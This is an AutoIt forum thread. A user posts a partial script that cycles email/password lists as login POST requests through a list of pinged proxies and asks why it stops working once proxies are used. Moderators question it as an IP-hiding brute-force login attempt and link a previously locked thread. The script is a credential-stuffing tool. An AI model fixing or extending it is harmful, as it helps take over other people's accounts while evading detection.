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#include <String.au3>
#include <Array.au3>
#include <File.au3>

Local $usr = Null
Local $pass = Null
Local $aProxy = Null
Local $proxies = "ssl.txt"
Local $PING = Null
Local $emails = "email.txt" ;sets file path
Local $pwd = "pwd.txt" ;sets file path

_FileReadToArray($emails, $usr)
_FileReadToArray($pwd, $pass)
_FileReadToArray($proxies, $aProxy)

For $i = 1 To UBound($aProxy) - 1
    $PING = Ping($aProxy[$i], 1000)
    If $PING <> 0 Then
        $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
        For $e = 1 To UBound($usr) - 1
            For $b = 1 To UBound($pass) - 1
                $oHTTP.Open("POST", "https://www..com/?username=" & $usr[$e] & '&password=' & $pass[$b], False) ; Post urlt
                $oHTTP.SetProxy($aProxy[$i])

So this is some of my code, I launch the program and it runs and shortly closes afterwards.
I can get it to work without proxies but it is as if it doesn't work when I use proxies.
Do you have any idea why this code does not work?
Thanks in advance.

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@RyukShini,

What is the purpose of this script as it seems you are trying to login with multiple userids/Passwords and now which to hide your source IP address?

Jos

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6 hours ago, Jos said:

@RyukShini,

What is the purpose of this script as it seems you are trying to login with multiple userids/Passwords and now which to hide your source IP address?

Jos

Yea I am simple making a script that tries multiple combinations for testing on my website.
This is strictly for educational purposes.

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@RyukShini please explain how this request is any different from the one I locked here:

 

 

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